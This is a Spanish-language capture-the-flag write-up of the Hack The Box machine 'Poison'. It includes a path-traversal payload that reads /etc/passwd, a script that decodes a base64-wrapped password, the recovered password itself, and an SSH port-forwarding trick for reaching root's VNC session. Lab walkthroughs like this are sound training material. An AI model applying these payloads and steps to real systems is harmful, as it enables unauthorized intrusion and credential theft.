Poison Writeup

MedioFreeBSD
Las flags que resuelven este reto se encuentran protegidas. Comparte el artículo en redes sociales para desbloquearlas.
$User Flag
eaacdfb2...
#Root Flag
716d04b1...

Conexión

Conectar nuestra máquina de ataque a la VPN:

$ openvpn gorkamu-htb.ovpn

Enumeración

Si enviamos un paquete ICMP podemos ver que tipo de máquina es según su TTL:

$ ping -c 1 10.10.10.84

El TTL que tiene es de 63 por lo que nos enfrentamos ante una máquina Linux.

Vamos a hacer un escaneo de puertos:

$ nmap -p- -A --open 10.10.10.84 -n -v

Vemos que tiene el puerto 22 y el puerto 80 abiertos.

PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0) | ssh-hostkey: | 2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA) | 256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA) |_ 256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519) 80/tcp open http Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32 |_http-title: Site doesn't have a title (text/html; charset=UTF-8). Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

Si vamos al navegador web vemos lo siguiente:

sitio
sitio

La página contiene un formulario en el que se nos permite introducir el nombre de un fichero y ver su contenido.

Si vemos la petición que se lanza se trata de una petición GET en el que el nombre del fichero va en el parámetro file de la url /browse.php

local file inclusion
local file inclusion

La web nos informa que podemos probar ciertos archivos. Probamos con listsfiles.php y vemos los siguientes:

Array ( [0] => . [1] => .. [2] => browse.php [3] => index.php [4] => info.php [5] => ini.php [6] => listfiles.php [7] => phpinfo.php [8] => pwdbackup.txt )

Hay uno interesante y se trata de pwdbackup.txt.

Lo consultamos y nos encontramos con lo siguiente:

poc-lfi
poc-lfi

Parece ser una clave que dice que se ha encriptado hasta 13 veces.

Si consultamos el fichero phpinfo.php podemos ver en la variable _SERVER[“SCRIPT_FILENAME”] la ruta desde donde estamos

_SERVER["SCRIPT_FILENAME"] = /usr/local/www/apache24/data/browser.php

Desde esta ruta podemos inferir la ruta absoluta para leer el fichero de /etc/passwd

http://10.10.10.84/browse.php?file=../../../../../etc/passwd

Para desencriptar la clave 13 veces podemos montarnos el siguiente script de python:

#!/usr/bin/env python3 import base64 base64_key = 'Vm0wd2QyUXlVWGxW......' base64_key = base64_key.replace(" ","") print("Original key: {}".format(base64_key)) print("\n") keys = [] for i in range(0,13): if 0 == i: key = base64_key else: key = keys[i-1] key_bytes = key.encode('ascii') key_decoded = base64.b64decode(key_bytes) kk = key_decoded.decode('ascii') print("Iteration {}".format(i+1)) print(kk) keys.append(kk)

El resultado final es:

  • Charix!2#4%6&8(0

Capturar User Flag

Con la contraseña ya descifrada y viendo el fichero de /etc/passwd podemos conectarnos por ssh de la siguiente forma:

$ ssh charix@10.10.10.84

whoami
whoami

En la home del usuario tenemos el fichero user.txt con la User Flag.

Capturar Root Flag

En la home del usuario charix vemos el fichero secret.zip que nos pide una contraseña.

Si tratamos de descomprimirlo aquí nos dará error así que para ello nos lo transferimos a nuestra máquina mediante lo siguiente:

$ python -m SimpleHTTPServer 8000 ---- $ wget http://10.10.10.84:8000/secret.zip

Lo descomprimimos usando la misma contraseña que para el ssh y vemos que se trata de un fichero con una secuencia de bytes:

file
file

Si hacemos un ps aux veremos que hay un proceso vnc corriendo asociado a root:

charix@Poison:~ % ps aux | grep vnc root 529 0.0 0.9 23620 8868 v0- I 16:45 0:00.02 Xvnc :1 -desktop X -httpd /usr/local/share/tightvnc/classes -auth /root/.Xauthority -geometry 1280x800

VNC (Virtual Network Computing) sirve para compartir de forma remota el escritorio gráfico de la máquina.

Si intentamos conectarnos desde la máquina comprometida a vncviewer no podremos porque no lo tenemos y tampoco hay abierto ningún puerto como para conectarnos remotamente.

Lo que vamos a hacer es tunneling y redireccionar tráfico hacia un puerto.

Para saber que puertos tiene abiertos localmente podemos ejecutar netstat:

harix@Poison:~ % netstat -na -f inet | grep LISTEN tcp4 0 0 *.5802 *.* LISTEN tcp4 0 0 *.5902 *.* LISTEN tcp4 0 0 *.6002 *.* LISTEN tcp4 0 0 127.0.0.1.25 *.* LISTEN tcp4 0 0 *.80 *.* LISTEN tcp4 0 0 *.22 *.* LISTEN tcp4 0 0 127.0.0.1.5801 *.* LISTEN tcp4 0 0 127.0.0.1.5901 *.* LISTEN

Puerto 5901 claro candidato.

Para hacer el tunneling podemos usar el parámetro -L del comando SSH para hacer un binding entre puertos

ssh -L5901:127.0.0.1:5901 charix@10.10.10.84

Si ejecutamos el siguiente comando en nuestra máquina veremos como tenemos el puerto de vncviewer redirigido:

$ netstat -anp | grep 5901 (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) tcp 0 0 127.0.0.1:5901 0.0.0.0:* LISTEN 14075/ssh tcp6 0 0 ::1:5901 :::* LISTEN 14075/ssh

Procedemos a conectarnos con vncviewer indicando con el argumento -passwd el fichero secret que hemos bajado antes:

$ vncviewer localhost:5901-passwrd secret

Automáticamente se nos abrirá una ventana de acceso remoto al servidor como root.

acceso remoto
acceso remoto

Si vamos al directorio /root ahí tendremos el fichero root.txt con la Root Flag.

También te puede interesar

Scriptkiddie Writeup

Scriptkiddie Writeup

Sense Writeup

Sense Writeup

Shocker Writeup

Shocker Writeup